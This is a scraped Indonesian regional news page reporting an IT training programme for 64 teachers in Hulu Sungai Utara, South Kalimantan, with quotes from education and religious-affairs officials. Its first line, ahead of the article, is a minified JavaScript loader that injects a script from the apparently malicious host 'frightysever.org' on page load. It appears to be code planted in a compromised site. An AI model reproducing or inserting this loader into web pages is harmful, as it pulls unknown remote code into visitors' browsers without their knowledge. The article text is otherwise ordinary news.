(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
AMUNTAI, Sebanyak 64 tenaga pendidik se Banua Enam yang tergabung dalam Sekolah Guru Indonesia (SGI) diberikan Bimbingan dan Pelatihan (Bimtek) IT sebagai modal menghadapi pesatnya perkembangan teknologi sekarang ini.
Bimtek yang digelar di aula Dispersip Kabupaten Hulu Sungai Utara (HSU) Jumat (22/11) ini dihadiri oleh ketua SGI korwil Kalsel, Perwakilan Kementerian Agama Kabupaten HSU, Perwakilan Dinas Pendidikan HSU serta undangan lainnya.
Ketua SGI korwil Kalsel Reza Wahyu Hernadi mengatakan kegiatan ini diadakan karena para guru sekarang ini sudah ketinggalan dalam teknologi informasi. Dikatakanya, sekarang ini para guru bukan lagi menghadapi akan tetapi sudah berada di dalam kemajuan teknologi tersebut. “Mulai bergelut bahkan sudah dinilai ketinggalan karena mungkin menurut Reza orang lain sudah sampai kepada posisi 4.2 akan tetapi para guru SGI masih baru mulai dari 4.0.” jelasnya.
Karenanya, Reza menegaskan bahwa dari Sekolah Guru Indonesia atau SGI terpanggil untuk melaksanakan Bimtek kepada para guru baik yang berasal dari lingkungan kementerian agama maupun di Dinas Pendidikan.
Menurut Reza, kegiatan ini juga agar terkesan lebih efektif maka diolah menjadi 2 angkatan untuk angkatan yang pertama sudah dilaksanakan terlebih dahulu kurang lebih 90 peserta. “Adapun pada kegiatan angkatan kedua ini diikuti sebanyak 64 peserta se Banua enam yang didominasi dari guru madrasah selain dari guru SD dengan waktu kegiatan selama tiga hari,” terang Reza.
Sementara itu Kepala Dinas Pendidikan Kabupaten HSU yang diwakili oleh Kasi kurikulum SMP H.Hamli, dalam arahannya menghimbau kepada para guru atau para pendidik jangan sampai untuk berkata tidak bisa atau tidak mampu. Karenanya diharapkan supaya para guru benar-benar mengikuti kegiatan bimtek ini dengan baik dan sungguh-sungguh.
Hamli mengakui melalui Bimtek biasanya banyak ilmu yang di dapatkan terutama ilmu pengetahuan mengenai teknologi informasi yang selama ini terus berkembang pesat. “Sehingga kalau kita tidak mengikutinya maka akan semakin tertinggal,” tegasnya.
Senada dengan itu, Kepala Kankemenag HSU yang diwakili oleh Kasi pendidikan madrasah H.Akhmad Rusadi, berharap agar para guru dapat lebih meningkatkan wawasan dan pengetahuan khususnya dibidang IT. “Karena kita dituntut untuk lebih mengerti dan menguasai teknologi demi menunjang kemajuan dibidang pendidikan,baik dimadrasah ibtidaiyah,tsanawiyah maupun aliyah maupun kepada sekolah dibawah lingkup Dinas pendidikan,” tutupnya.(dew)
KANALKALIMANTAN.COM, BANJARBARU - Warga Kecamatan Banjarbaru Selatan antusias memeriahkan lomba memancing ikan yang digelar di… Read More
KANALKALIMANTAN.COM, BANJARBARU – Srikandi PT PLN (Persero) Unit Induk Penyaluran dan Pusat Pengatur Beban (UIP3B)… Read More
KANALKALIMANTAN.COM, MARTAPURA - Ribuan orang memadati area kubah tempat dilaksanakannya haul ke-86 Tuan Guru KH… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Kepolisian dari Satuan Reserse Kriminal (Satreskrim) Polresta Banjarmasin mengungkap kasus pembunuhan yang… Read More
KANALKALIMANTAN.COM, BANJARBARU - Workshop Implementasi Jastrada Air Minum Provinsi Kalsel tahun 2024 di Banjarmasin digelar… Read More
KANALKALIMANTAN.COM, MARTAPURA - Murid kelas 5 SDN Indrasari 2 Martapura, M Royan bersama guru dan… Read More
This website uses cookies.